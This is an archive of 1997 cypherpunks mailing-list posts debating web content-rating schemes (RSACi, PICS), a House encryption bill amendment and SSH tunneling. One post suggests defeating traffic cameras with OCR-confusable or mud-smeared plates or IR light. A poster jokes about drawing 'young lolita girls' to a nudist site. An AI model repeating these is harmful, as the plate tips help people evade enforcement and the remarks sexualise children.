These are exactly the same questions we asked RSAC.  Ask them, not us --
this is their idea.

>The above is what I understand to be the case. I emailed CDT a week ago
>about this but haven't heard back. I'd appreciate clarification.

Hope that helps.

Jonah





* Value Your Privacy? The Government Doesn't.  Say 'No' to Key Escrow! *
            Adopt Your Legislator -  http://www.crypto.com/adopt

--
Jonah Seiger, Communications Director              (v) +1.202.637.9800
Center for Democracy and Technology              pager +1.202.859.2151
<jseiger@cdt.org>
                                                    PGP Key via finger
http://www.cdt.org
http://www.cdt.org/homes/jseiger












From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Declan McCullagh <declan@well.com>
Date: Sat, 26 Jul 1997 00:30:42 +0800
To: cypherpunks@toad.com
Subject: CDT, RSACi, and "public service" groups (3/3)
Message-ID: <Pine.GSO.3.95.970725091915.21324E-100000@well.com>
MIME-Version: 1.0
Content-Type: text/plain





---------- Forwarded message ----------
Date: Thu, 24 Jul 1997 16:53:52 -0700 (PDT)
From: Declan McCullagh <declan@well.com>
To: Jonah Seiger <jseiger@cdt.org>
Cc: fight-censorship@vorlon.mit.edu, chris_barr@cnet.com
Subject: Re: CDT, RSACi, and "public service" groups

Jonah,

Thanks for responding. The "yet to be determined category" CDT suggested
during that conversation with RSAC is of course the same "public service
site" category I mentioned in my previous post. 

I'm still curious to know what exactly was discussed and what was proposed
during that July 10 conference call, which happened a few minutes after I
had lunch with RSAC's Stephen Balkam. Can you fill us in? Though to be
fair, I should say Balkam told me the following week that the "public
service site" discussions were on hold. (I'd have to look at my notes for
his exact wording.)

So would you rate your site with RSAC-PS? 

-Declan


On Thu, 24 Jul 1997, Jonah Seiger wrote:

> At 3:12 PM -0700 7/24/97, Declan McCullagh wrote:
> >On Thu, 24 Jul 1997, Jonah Seiger wrote:
> >
> >> We do not believe ratings are appropriate for news sites or sites that are
> >> geared toward public discussion of political/social issues (CDT has refused
> >> to rate our sites with RSAC).
> >
> >Of course that hasn't stopped CDT from, as I understand it, proposing
> >a "public service site" exemption to RSAC, similar to the "news site"
> >exemption.
> 
> This is not even close to accurate.  We have not proposed anything.
> 
> We have told RSAC that we will not rate our sites with their system because
> we do not believe that ratings are appropriate for politically
> oriented/social issues sites or news sites.
> 
> When we discovered that RSAC was considering a news rating, we were
> concerned and asked them to tell us what they had in mind.  As part of that
> conversation, we asked whether CDT and the other sites we produce (which
> are not 'news' sites in the same way the New York Times) would also fall
> under that classification, or some other yet to be determined category.
> 
> My guess is that this fact got garbled in the translation to you from
> someone at RSAC (or perhaps you were just too eager find what you were
> looking for).
> 
> >RSAC-PS raises the same troubling questions as RSACnews: what is a "public
> >service" group? Who decides? Is CDT? Focus on the Family? The
> >fight-censorship archives? The Cato Institute? The Washington Post? The
> >U.S. Congress? The Democratic Party? NAMBLA? Jim Bell's Multnomah County
> >Common Law Court?
> 
> These are exactly the same questions we asked RSAC.  Ask them, not us --
> this is their idea.
> 
> >The above is what I understand to be the case. I emailed CDT a week ago
> >about this but haven't heard back. I'd appreciate clarification.
> 
> Hope that helps.
> 
> Jonah
> 








From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: amp@pobox.com
Date: Fri, 25 Jul 1997 23:31:34 +0800
To: jya@pipeline.com>
Subject: Re: Reap and Sow
In-Reply-To: <1.5.4.32.19970725110858.006f6168@pop.pipeline.com>
Message-ID: <Chameleon.869839340.amp@ampugh.mcit.com>
MIME-Version: 1.0
Content-Type: text/plain



Pure, unadulterated propaganda.

Rat poison is 90% good, tasty stuff, or the rats wouldn't eat it.

------------------------
  From: John Young <jya@pipeline.com>
  Subject: Reap and Sow 
  Date: Fri, 25 Jul 1997 07:08:58 -0400 
  To: cypherpunks@toad.com


> The Congressional Record reprinted July 23 "Anti-Government,
> Anti-Social Attitudes," a news column which examines the
> increasing discontent caused by governmental programs. It
> describes the increasing psychopathology by those who have 
> suffered economic harm due to shifts in the nation's and 
> international resources and the appeal of anti-government and
> anti-social acts in response to failure to meet obligations to the 
> citizenry. Not a few think OKC bombing is the the way to fight 
> government-sponsored terrorism against civilians.
> 
>   http://jya.com/anti-gov.txt
> 
> Couple that with reports on DoD's efforts to combat terrorism 
> against its troops abroad, more funding of counterterrorism
> and more sharing of "dual-use" weaponry with jittery, trigger-
> itchy law enforcement and IRS infohighway bandits around 
> the globe. Boil the frogs.
> 
> Says the snarling marshal (OSFOR trooper), just back from 
> stress counseling and a beer, to the neighbor (rapee) kicking and 
> screaming: It's dog eat dog, in the battle to keep our family fed, so 
> sorry, but we gotta enforce order and the law (our exculpatory Bible), 
> burp, tell it to the judge (the President), my therapist (godfather).
> 
> Meanwhile have a pleasant remand while the court's on vacation.
> 
> 

---------------End of Original Message-----------------

------------------------
If your privacy is important, don't give your keys to Freeh!
Name: amp
E-mail: amp@pobox.com
Date: 07/25/97
Time: 10:01:07
Visit me at http://www.pobox.com/~amp

'Drug Trafficking Offense' is the root passphrase to the Constitution.

Have you seen 
http://www.public-action.com/SkyWriter/WacoMuseum
------------------------





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Tim May <tcmay@got.net>
Date: Sat, 26 Jul 1997 01:38:58 +0800
To: Declan McCullagh <cypherpunks@toad.com
Subject: Re: Yet another self-labeling system (do you remember -L18?)
In-Reply-To: <Pine.GSO.3.95.970725091518.21324B-100000@well.com>
Message-ID: <v03102800affe90c52c47@[207.167.93.63]>
MIME-Version: 1.0
Content-Type: text/plain




At 9:16 AM -0700 7/25/97, Declan McCullagh wrote:
>---------- Forwarded message ----------
>Date: Fri, 25 Jul 1997 12:08:32 -0400 (EDT)
>From: James Love <love@cptech.org>
>To: Jonah Seiger <jseiger@cdt.org>
>Cc: Declan McCullagh <declan@well.com>, fight-censorship@vorlon.mit.edu,
>    chris_barr@cnet.com
>Subject: Re: CDT, RSACi, and "public service" groups
>
>
>Jonah, I think the problems with the RSACi rating system are pretty
>obvious, and I also think it should be obvious that *any* rating system
>that would aspire to rate all or even a significant number of web pages
>would be a bad thing.  That said, it seems to me that there exist web
>pages that are unambiguously inappropriate for children.  Has CDT rejected

"Unambiguously inappropriate for children"?

No such thing. I can think of many, many things which many consider
inappropriate for children (what age?), but which others, including myself,
consider perfectly appropriate. I see no particular need to recite examples
here.

Even with "obscenity," whatever that is (I seem not to know it when I see
it, which would make me a poor Supreme Court Justice), that there are
obscenity prosecutions and trials would seem to indicate that such
materials are not "unambigously obscene."

The "mandatory voluntary" PICS/RSACi ratings, with penalties (presumably)
for "mislabeling," just are another form of content control.

If they are truly voluntary, then people are free to say that a nudist site
is appropriate for children, or not to label at all...the null label is
just another label.

(Nudist sites, in realspace as well as cyberspace, are a classic example of
the difficulty of judging "appropriate for children." Some jurisdicitions
are attempting to legislate against children being in nudist camps. They
would even claim that children seeing adults and other children nude is
"unambiguosly inappropriate." Others disagree. So, how would their web site
be labeled?)

The notion that something is "unambiguously" inapproprate, obscene,
heretical, treasonous, whatever, is a flawed concept.

--Tim May

There's something wrong when I'm a felon under an increasing number of laws.
Only one response to the key grabbers is warranted: "Death to Tyrants!"
---------:---------:---------:---------:---------:---------:---------:----
Timothy C. May              | Crypto Anarchy: encryption, digital money,
tcmay@got.net  408-728-0152 | anonymous networks, digital pseudonyms, zero
W.A.S.T.E.: Corralitos, CA  | knowledge, reputations, information markets,
Higher Power: 2^1398269     | black markets, collapse of governments.
"National borders aren't even speed bumps on the information superhighway."








From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Ray Arachelian <sunder@brainlink.com>
Date: Fri, 25 Jul 1997 22:47:44 +0800
To: Robert Hettinga <rah@shipwright.com>
Subject: Re: DEATH TO THE TYRANTS
In-Reply-To: <v0311074baffe40d42057@[139.167.130.248]>
Message-ID: <Pine.SUN.3.96.970725103612.21707C-100000@beast.brainlink.com>
MIME-Version: 1.0
Content-Type: text/plain



On Fri, 25 Jul 1997, Robert Hettinga wrote:

> At 12:51 pm -0400 on 7/24/97, Ray Arachelian wrote:
> 
> 
> > Sure you want'em?  They're probably as buggy as a swap in july.
> 
> No. That's Washington, in general...

:) Yeah, but why invite Big Brother to listen to you from your own xmas
tree?  :)  Would be cool to get a list of frequencies their bugs work on
and just sit back and listen too all the various conversations. :)  Even
if they originate from around the ol'e Yule Log. :)

=====================================Kaos=Keraunos=Kybernetos==============
.+.^.+.|  Ray Arachelian    | "If you wanna touch the sky, you must  |./|\.
..\|/..|sunder@sundernet.com| be prepared to die.  And I hate cough  |/\|/\
<--*-->| ------------------ | syrup, don't you?"                     |\/|\/
../|\..| "A toast to Odin,  | For with those which eternal lie, with |.\|/.
.+.v.+.|God of screwdrivers"| strange aeons, even death may die.     |.....
======================== http://www.sundernet.com =========================





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Tim May <tcmay@got.net>
Date: Sat, 26 Jul 1997 01:51:03 +0800
To: Declan McCullagh <cypherpunks@toad.com
Subject: Re: CDT, RSACi, and "public service" groups (1/3)
In-Reply-To: <Pine.GSO.3.95.970725091822.21324C-100000@well.com>
Message-ID: <v03102801affe9378ce79@[207.167.93.63]>
MIME-Version: 1.0
Content-Type: text/plain



[This message brought to you by Tim's Internet News Service, a service
devoted to news and opinions and thus exempt from the voluntary mandatory
self-ratings system imposed by the Protecting our Children Act of 1997.)


At 9:18 AM -0700 7/25/97, Declan McCullagh wrote:
>---------- Forwarded message ----------

>On Thu, 24 Jul 1997, Jonah Seiger wrote:
>
>> We do not believe ratings are appropriate for news sites or sites that are
>> geared toward public discussion of political/social issues (CDT has refused
>> to rate our sites with RSAC).
>
>Of course that hasn't stopped CDT from, as I understand it, proposing
>a "public service site" exemption to RSAC, similar to the "news site"
>exemption.
>
>Under such an RSAC-PS scheme, organizations defined as legitimate "public
>service" groups -- and only those groups! -- would be exempt from labeling
>each of their pages for violence, nudity, and so on. After all, if CDT
>wanted to label and the RSAC-PS scheme didn't exist, they'd have to cordon
>off the portion of their site with the Pacifica decision as inappropriate
>for children. The RSAC working group discussed "public service sites,"
>according to RSAC head Stephen Balkam, during a conference call on
>July 10.

This echoes a similar dichotomy between the alleged "rights" of newsmen to
"protect their sources" and the rights of non-newsment to protect their
sources or confidants. I have never believed that a reporter for the
"Washington Post" has any more rights to refuse to disclose his
conversations than I have. The so-called "shield laws" seem to create
protected classes of the rights of free speech and association (and
"privacy" in a sense).

Same as with "religious confessionals." If I claim that conversations I
have are part of a priest-penitent or "confessional" relation--after all, I
am a prelate in the First Church of Odin--and the courts claim I am not a
"valid" religion....

Giving special status to some news organizations or some religious
organizations is a clearcut violation of the First.

--Tim May


Voluntary Mandatory Self-Rating of this Article
(U.S. Statute 43-666-970719).
Warning: Failure to Correctly and Completely Label any Article or Utterance
is a Felony under the "Children's Internet Safety Act of 1997," punishable
by 6 months for the first offense, two years for each additional offense,
and a $100,000 fine per offense. Reminder: The PICS/RSACi label must itself
not contain material in violation of the Act.

** PICS/RSACi Voluntary Self-Rating (Text Form) ** :

Suitable for Children: yes  Age Rating: 5 years and up.
Suitable for Christians: No Suitable for Moslems: No  Hindus: Yes
Pacifists: No  Government Officials: No  Nihilists: Yes  Anarchists: Yes
Vegetarians: Yes  Vegans: No  Homosexuals: No  Atheists: Yes
Caucasoids: Yes  Negroids: No  Mongoloids: Yes
Bipolar Disorder: No  MPD: Yes and No  Attention Deficit Disorder:Huh?

--Contains discussions of sexuality, rebellion, anarchy, chaos,torture,
regicide, presicide, suicide, aptical foddering.
--Contains references hurtful to persons of poundage and people of
color.Sensitive persons are advised to skip this article.

**SUMMARY**
Estimated number of readers qualified to read this: 1
Composite Age Rating: 45 years






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Ray Arachelian <sunder@brainlink.com>
Date: Fri, 25 Jul 1997 22:56:32 +0800
To: frissell@panix.com
Subject: Re: Brit Fascists To Track Motorists - DigiCash Obsolescent
In-Reply-To: <3.0.2.32.19970725072354.03bfa02c@panix.com>
Message-ID: <Pine.SUN.3.96.970725104334.21707D-100000@beast.brainlink.com>
MIME-Version: 1.0
Content-Type: text/plain



On Fri, 25 Jul 1997 frissell@panix.com wrote:

> Sabotaging your plates so they weren't machine readable or using a car 
> registered in Slovenia or Wisconsin (both possible in the UK) would make more 
> sense.

Would a spy trying to infiltrate a building wear a dark hat, sunglasses,
a trench coat, and a briefcase handcuffed to her wrist, or would she dress
as the people entering and leaving the building?

Erm, just how many Wisconsin or Slovenian plates are you likely to see in
a given hour passing through a camera's view?  You'd stand out like a
haystack in the middle of NYC.   You want to trick the OCR by using a
plate where the 1's can get confused with the I's, O's with Q's, etc..

Or spraying your plates with mud or dust or something...  You certainly,
don't want to stand out and call attention to your car.

Didn't someone mention using IR lasers to knock out cameras in a similar
topic?  Would perhaps a broadband IR transmission do the same without
harming humans? (So they won't rear end you of course.) :)

=====================================Kaos=Keraunos=Kybernetos==============
.+.^.+.|  Ray Arachelian    | "If you wanna touch the sky, you must  |./|\.
..\|/..|sunder@sundernet.com| be prepared to die.  And I hate cough  |/\|/\
<--*-->| ------------------ | syrup, don't you?"                     |\/|\/
../|\..| "A toast to Odin,  | For with those which eternal lie, with |.\|/.
.+.v.+.|God of screwdrivers"| strange aeons, even death may die.     |.....
======================== http://www.sundernet.com =========================





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Declan McCullagh <declan@well.com>
Date: Sat, 26 Jul 1997 02:08:25 +0800
To: cypherpunks@toad.com
Subject: Cnet's stance on content filters
Message-ID: <Pine.GSO.3.95.970725105516.22013E-100000@well.com>
MIME-Version: 1.0
Content-Type: text/plain





---------- Forwarded message ----------
Date: Fri, 25 Jul 1997 12:48:48 -0400
From: Lauren Gelman <gelman@acm.org>
To: declan@well.com
Subject: Cnet's stance on content filters

>Date: Wed, 23 Jul 1997 17:40:12 -0400
>To: chris_barr@cnet.com
>From: Lauren Gelman <gelman@acm.org>
>Subject: Cnet's stance on content filters
>Cc:
>Bcc:
>X-Attachments:
>
>with regard to: http://www.cnet.com/Content/Voices/Barr/072197/index.html
>
>First, I think there are a number of problems inherent in any content
>filtering system, some of which you discuss in your column.
>
>Given that, I think the main problem with the Internet Content Coalition
>approach is how, and who, will determine what is a "real news
>organization" is and what "bona fide news sites" are.  Is this the job of
>the ICC?  You completely ignore this issue both in the column and on the
>ICC web site.  What are the criteria that categorize Cnet as a "news
>organization?  Would EPIC and the ACLU (cited in your column) also fall
>under that category?  What about listservs where news is disseminated?
>
>The U.S. Public Policy Office for the Association for Computing (USACM)
>web site http://www.acm.org/usacm disseminates news about computer policy
>related issues as well as USACM position pieces on those issues.  It also
>archives back- issues of the "ACM Washington Update", a bi-weekly
>electronic newsletter.  Is the USACM web site a "bona fide news sites"?
>
>I believe these are important questions which need to be addressed before
>Cnet endorses any content-filtering approach to censorship. "Privilege"
>needs to be defined before Cnet or any other group can seek "to make sure
>that only real news organizations claim this privilege."
>
>
>-Lauren Gelman
>Associate Director
>USACM
>
>

/\ /\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/
Association for Computing,             +   http://www.acm.org/usacm/
Office of U.S. Public Policy           *   +1 202 544 4859 (tel)
666 Pennsylvania Ave., SE Suite 302 B  *   +1 202 547 5482 (fax)
Washington, DC 20003   USA             +   gelman@acm.org








From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Tim May <tcmay@got.net>
Date: Sat, 26 Jul 1997 02:14:24 +0800
To: James Love <love@cptech.org>
Subject: Re: Yet another self-labeling system (do you remember -L18?)
In-Reply-To: <v03102800affe90c52c47@[207.167.93.63]>
Message-ID: <v03102802affe9889ff47@[207.167.93.63]>
MIME-Version: 1.0
Content-Type: text/plain



At 10:49 AM -0700 7/25/97, James Love wrote:
>Tim, if you think that no web site are unambiguously inappropriate for
>children, then you are in a state of denial.  However, while I don't
>expect to change your mind on that point, let me set the record straight
>on your note.  I don't favor RSACi or other PICS systems.  I think these
>are a mistake, and should be resisted.  However, I do favor a far less
>ambitious and less informative system (less is more, as far as I am
>concerned), which involves a simple, single voluntary tag, selected by
>the web page publisher, at their discretion, of the nature of
>
><META NAME="Rating" CONTENT="adult">

So long as it is completely voluntary, and I am free to label my sites as
"Suitable for children," whatever they contain, I have no problem with your
proposal.

(And marking my sites "suitable for children" may help me to recruit some
fine young lolitas to my nudist site, so I may actually _like_ your system.)

However, if you or Justice Rehnquist or Louis Freeh or Ralph Reed should
_disagree_ with my "voluntary" labeling of my site as "suitable for
children," and should then bring the courts into the process in a
prosecution or other action against me, then it will hardly be "voluntary,"
will it?

And since my standards of what is "suitable" and what is "not suitable" may
well differ from your standards, etc., why not just have an Office of the
Censor to resolve these issues so that I won't later be charged?

(I don't mean this as a cheap shot, by the way. I am sure you would recoil
in horror at the concept of an Office of the Censor. However, what other
option exists, given that I would otherwise have no idea what my site
should be "voluntarily" rated as? I happen to think my nudist web page is
indeed a good place for healty young lolita girls to come and hang out. My
values. Yours may be different.)


There's something wrong when I'm a felon under an increasing number of laws.
Only one response to the key grabbers is warranted: "Death to Tyrants!"
---------:---------:---------:---------:---------:---------:---------:----
Timothy C. May              | Crypto Anarchy: encryption, digital money,
tcmay@got.net  408-728-0152 | anonymous networks, digital pseudonyms, zero
W.A.S.T.E.: Corralitos, CA  | knowledge, reputations, information markets,
Higher Power: 2^1398269     | black markets, collapse of governments.
"National borders aren't even speed bumps on the information superhighway."








From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Declan McCullagh <declan@well.com>
Date: Sat, 26 Jul 1997 02:25:32 +0800
To: cypherpunks@toad.com
Subject: An Attempt to Hobble SAFE Crypto Bill
Message-ID: <Pine.GSO.3.95.970725111252.22013N-100000@well.com>
MIME-Version: 1.0
Content-Type: text/plain





---------- Forwarded message ----------
Date: Fri, 25 Jul 1997 11:03:33 -0800
From: "--Todd Lappin-->" <telstar@wired.com>
To: fight-censorship@vorlon.mit.edu


http://www.wired.com/news/news/politics/story/5492.html


An Attempt to Hobble House Crypto Bill

 by Rebecca Vesely

 9:08am  25.Jul.97.PDT A Republican opponent of a House
 bill that would loosen controls on the use and export of
 encryption is circulating an amendment that would
 effectively cripple the legislation.

 The amendment, by Representative Benjamin Gilman
 (R-New York), who chairs the International Relations
 Committee, would make it unlawful to "manufacture,
 distribute, sell, or import any product within the United
 States that can be used to encrypt communications or
 information if the product does not permit the real-time
 decryption of such encrypted communications or
 information."

 This means that if law-enforcement officials could not
 crack an encrypted file within 24 hours - the time that FBI
 director Louis Freeh and other law enforcement officials
 say is reasonable for accessing information related to a
 crime - that strength of encryption would be illegal. The
 amendment set a civil penalty of US$100,000 for such
 violations.

 Currently, the most complex programs that can be cracked
 so quickly use 40-bit algorithms. The relative ease of
 breaking such code makes it nearly worthless on the
 marketplace, the high-tech industry has warned. Stronger
 encryption - 56-bit and 128-bit algorithms are being
 employed in many products now - is widely viewed as a
 cornerstone to the development of electronic commerce.
 Stronger code can safeguard data such as credit-card
 numbers as it travels over networks.

 Gilman had the amendment in hand earlier this week when
 his panel marked up the Security and Freedom through
 Encryption Act by Representative Bob Goodlatte
 (R-Virginia). The bill has been condemned by the
 government's chief law-enforcement and national-security
 officials because it would prevent domestic controls on
 encryption while relaxing export controls. The FBI and
 National Security Agency want a domestic key-recovery
 system to wiretap digital communications.

 Gilman was unsuccessful in trying to insert another
 provision during the mark-up - one to give the president
 the power to deny crypto export licenses on
 national-security grounds.

 "The second amendment was a staff proposal that basically
 was dependent on what happened to the first amendment,"
 said Jerry Lipson, spokesman for the House International
 Relations Committee. "There was no sentiment that this one
 should be introduced when the first one failed."

 A staffer for a congressman who supports the Goodlatte bill
 said that the new amendment was a "scare tactic" meant to
 show committee members that law enforcement won't stand
 for a relaxed approach to encryption policy. Indeed, FBI
 director Freeh met one-on-one with 10 International
 Relations panel members for hour-long sessions in the days
 before the mark-up, the staffer said. Nine of the 10 voted
 for the bill anyway.

 Some staffers and observers suggest that the Gilman
 amendment could be introduced when the bill goes to the
 Select Committee on Intelligence. Although the legislation
 has 214 co-sponsors in the House, none are members of
 that panel. And the bill still must reach two other
 committees before it goes to a full House vote: Commerce
 and National Security. The deadline for all committees to
 address the bill is 5 September.

"They don't draft amendments like this for the heck of it,"
 said Alan Davidson, staff counsel for the Center for
 Democracy and Technology. "It's a glimpse at what could be a
 very frightening future."


 Copyright (c) 1993-97 Wired Ventures, Inc. and affiliated
 companies.
 All rights reserved.








From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: admin@tcg.sask.com
Date: Sat, 26 Jul 1997 15:01:06 +0800
Subject: Addresses
Message-ID: <199707260525.AA10380@unibase.Unibase.COM>
MIME-Version: 1.0
Content-Type: text/plain





Hi,

I came across your post in a MLM newsgroup and thought you may be interested in an email address list.

It worked great for me. 

          http://www.unibase.com/~visions/email/

Robert L. James





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Mike <Michael.Johnson@mejl.com>
Date: Fri, 25 Jul 1997 19:02:54 +0800
To: Petri Laakkonen <F-Secure-Press-Global@DataFellows.com
Subject: Re: Data Fellows announces F-Secure SSH Tunnel&Terminal
In-Reply-To: <3.0.32.19970725011140.008fac60@popd.ix.netcom.com>
Message-ID: <3.0.3.32.19970725125000.00941a80@localhost>
MIME-Version: 1.0
Content-Type: text/plain



Petri Laakkonen wrote:
>>F-Secure SSH Tunnel&Terminal provides strong encryption of data and thus
>>sets a new standard for secure remote working. Existing solutions like
>>Cisco Systems L2F, IETF L2TP and firewalls don't provide strong encryption
>>and authentication, which makes these solutions insecure against
>>eavesdropping and IP spoofing attacks. In addition to encrypted tunnels, 
>>F-Secure Tunnel&Terminal also provides secure terminal connections to UNIX
>>hosts and secures UNIX X11 applications.

>What would be F-Secure Tunnel's added value over MS pptp ?

For one thing, it is produced and packaged outside of USA, which says
everything about the quality of the crypto. M$ can not legally ship crypto
from Seattle WA to global customers.

It would be neat if SSH Tunnel was compatible with PPTP, but I guess it's
not.

Mike.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Tim May <tcmay@got.net>
Date: Sat, 26 Jul 1997 04:01:04 +0800
To: "Peter D. Junger" <cypherpunks@cyberpass.net>
Subject: Re: An Attempt to Hobble SAFE Crypto Bill
In-Reply-To: <Pine.GSO.3.95.970725111252.22013N-100000@well.com>
Message-ID: <v03102805affeb3524a23@[207.167.93.63]>
MIME-Version: 1.0
Content-Type: text/plain



At 12:22 PM -0700 7/25/97, Peter D. Junger wrote:

>This is interesting in a perverse sort of way.  Notice that it does
>not purport to forbid the _use_ of strong crypto.  Is software---
>especially if it is not for sale, but just given away---a product?
>Does writing software amount to manufacturing it?
>
>It actually does a very nice job of raising the first amendment issues
>that are ultimately going to kill export controls, as well as import
>controls, as applied to software.  It would seem that, unless one
>believes that the first amendment only protects pornographers, but not
>programmers, that this proposed legislation is either (i) blatantly
>unconstitutional or (ii) totally ineffective (since, if it is not
>unconstitutional, it could not be applied to the writing, distributing,
>importing, or even selling of those texts that we call programs.)

I agree. Far better to have a law "so bad, so blatantly unconstitutional"
that it _must_ be struck down, thus giving freedom to encrypt as one wishes
the endorsement it needs.

The Beltway Bandits need to resist the temptation to "work the issues" and
help craft a compromise bill which is still bad but not nearly so blatantly
unconstitutional, as this might do some real mischief by delaying the
overturning for many years.

(And, in my opinion, the modern American system is filled with thousands of
examples of laws inconsistent with original Constitutional intent, but not
so blatantly clearcut that the Supremes would have to act. The "death of a
thousand cuts," or the "frog in boiling water," whatever metaphor one
prefers.)

Better that the "cyber rights" groups simply take an absolutist stance on
all of these issue, about cryptography, labelling, etc.

And no legislation is needed, as the Constitution is pretty clearcut on the
basic issues.

--Tim May


--Tim May

There's something wrong when I'm a felon under an increasing number of laws.
Only one response to the key grabbers is warranted: "Death to Tyrants!"
---------:---------:---------:---------:---------:---------:---------:----
Timothy C. May              | Crypto Anarchy: encryption, digital money,
tcmay@got.net  408-728-0152 | anonymous networks, digital pseudonyms, zero
W.A.S.T.E.: Corralitos, CA  | knowledge, reputations, information markets,
Higher Power: 2^1398269     | black markets, collapse of governments.
"National borders aren't even speed bumps on the information superhighway."








From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: ghio@temp0103.myriad.ml.org (Matthew Ghio)
Date: Sat, 26 Jul 1997 04:59:21 +0800
To: cypherpunks@cyberpass.net
Subject: Re: Data Fellows announces F-Secure SSH Tunnel&Terminal
In-Reply-To: <3.0.32.19970725011140.008fac60@popd.ix.netcom.com>
Message-ID: <199707252040.NAA02700@myriad.alias.net>
MIME-Version: 1.0
Content-Type: text/plain



Mike <Michael.Johnson@mejl.com> wrote:

> It would be neat if SSH Tunnel was compatible with PPTP, but I guess
> it's not.

Well, I don't know why you'd want to use PPTP anyway.  A friend of mine
tried connecting a Win95 PPTP client to my Linux box with a pppd running
on port 1723.  Windows bluescreened immediately and had to be rebooted.
Makes me wonder what one could do to an NT server which happened to leave
port 1723 open...


BTW, you don't need the new ssh to tunnel ppp, you can do it with the
standard ssh.  I've been doing it for over a year now, originally with
the old public-domain ssh version.

If you don't need encryption, you should use RFC1853 tunneling instead.
The overhead is much less than that of PPTP or ssh, so it will be faster.
It's included in Linux 2.0, tho not compiled in by default.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: James Love <love@cptech.org>
Date: Sat, 26 Jul 1997 02:00:46 +0800
To: Tim May <tcmay@got.net>
Subject: Re: Yet another self-labeling system (do you remember -L18?)
In-Reply-To: <v03102800affe90c52c47@[207.167.93.63]>
Message-ID: <33D8E731.8A663470@cptech.org>
MIME-Version: 1.0
Content-Type: text/plain



Tim, if you think that no web site are unambiguously inappropriate for
children, then you are in a state of denial.  However, while I don't
expect to change your mind on that point, let me set the record straight
on your note.  I don't favor RSACi or other PICS systems.  I think these
are a mistake, and should be resisted.  However, I do favor a far less
ambitious and less informative system (less is more, as far as I am
concerned), which involves a simple, single voluntary tag, selected by
the web page publisher, at their discretion, of the nature of 

<META NAME="Rating" CONTENT="adult">

I think this is quite different from RSACi or SafeSurf's system, for the
reasons mentioned by my missive to Jonah.  


   Jamie   <love@cptech.org>


Tim May wrote:
> 
> At 9:16 AM -0700 7/25/97, Declan McCullagh wrote:
> >---------- Forwarded message ----------
> >Date: Fri, 25 Jul 1997 12:08:32 -0400 (EDT)
> >From: James Love <love@cptech.org>
> >To: Jonah Seiger <jseiger@cdt.org>
> >Cc: Declan McCullagh <declan@well.com>,
> fight-censorship@vorlon.mit.edu,
> >    chris_barr@cnet.com
> >Subject: Re: CDT, RSACi, and "public service" groups
> >
> >
> >Jonah, I think the problems with the RSACi rating system are pretty
> >obvious, and I also think it should be obvious that *any* rating
> system
> >that would aspire to rate all or even a significant number of web
> pages
> >would be a bad thing.  That said, it seems to me that there exist web
> >pages that are unambiguously inappropriate for children.  Has CDT
> rejected
> 
> "Unambiguously inappropriate for children"?
> 
> No such thing. I can think of many, many things which many consider
> inappropriate for children (what age?), but which others, including
> myself,
> consider perfectly appropriate. I see no particular need to recite
> examples
> here.
> 
> Even with "obscenity," whatever that is (I seem not to know it when I
> see
> it, which would make me a poor Supreme Court Justice), that there are
> obscenity prosecutions and trials would seem to indicate that such
> materials are not "unambigously obscene."
> 
> The "mandatory voluntary" PICS/RSACi ratings, with penalties
> (presumably)
> for "mislabeling," just are another form of content control.
> 
> If they are truly voluntary, then people are free to say that a nudist
> site
> is appropriate for children, or not to label at all...the null label
> is
> just another label.
> 
> (Nudist sites, in realspace as well as cyberspace, are a classic
> example of
> the difficulty of judging "appropriate for children." Some
> jurisdicitions
> are attempting to legislate against children being in nudist camps.
> They
> would even claim that children seeing adults and other children nude
> is
> "unambiguosly inappropriate." Others disagree. So, how would their web
> site
> be labeled?)
> 
> The notion that something is "unambiguously" inapproprate, obscene,
> heretical, treasonous, whatever, is a flawed concept.
> 
> --Tim May
> 
> There's something wrong when I'm a felon under an increasing number of
> laws.
> Only one response to the key grabbers is warranted: "Death to
> Tyrants!"
> 
> ---------:---------:---------:---------:---------:---------:---------:----
> Timothy C. May              | Crypto Anarchy: encryption, digital
> money,
> tcmay@got.net  408-728-0152 | anonymous networks, digital pseudonyms,
> zero
> W.A.S.T.E.: Corralitos, CA  | knowledge, reputations, information
> markets,
> Higher Power: 2^1398269     | black markets, collapse of governments.
> "National borders aren't even speed bumps on the information
> superhighway."

-- 
_______________________________________________________
James Love | Center for Study of Responsive Law
P.O. Box 19367 | Washington, DC 20036 | 202.387.8030
http://www.cptech.org | love@cptech.org





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Martin Minow <minow@apple.com>
Date: Sat, 26 Jul 1997 05:11:49 +0800
To: cypherpunks@cyberpass.net
Subject: Government Access to Safes
Message-ID: <v03010d04affec4688a73@[17.202.40.158]>
MIME-Version: 1.0
Content-Type: text/plain



You may have been following the recent murder of Gianni Versace
and the subsequent suicide of his alleged murderer. One minor
footnote that popped up in the news is a small safe located
in the houseboat where the suicide was found. This safe uses
a keypad lock (rather than a mechanical combination or physical
key).

Is this more secure than a regular safe lock? Does the government
have an access key that would premit a law enforcement officer
(with appropriate authority) to open any such lock? Should I
be required to deposit the secret key to my safe with a
government-mandated "escrow" agent?

Martin Minow
minow@apple.com






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Tim May <tcmay@got.net>
Date: Sat, 26 Jul 1997 05:42:44 +0800
To: cypherpunks@Algebra.COM
Subject: Re: Yet another self-labeling system (do you remember -L18?)
In-Reply-To: <v03102802affe9889ff47@[207.167.93.63]>
Message-ID: <v03102806affecb7df7d5@[207.167.93.63]>
MIME-Version: 1.0
Content-Type: text/plain



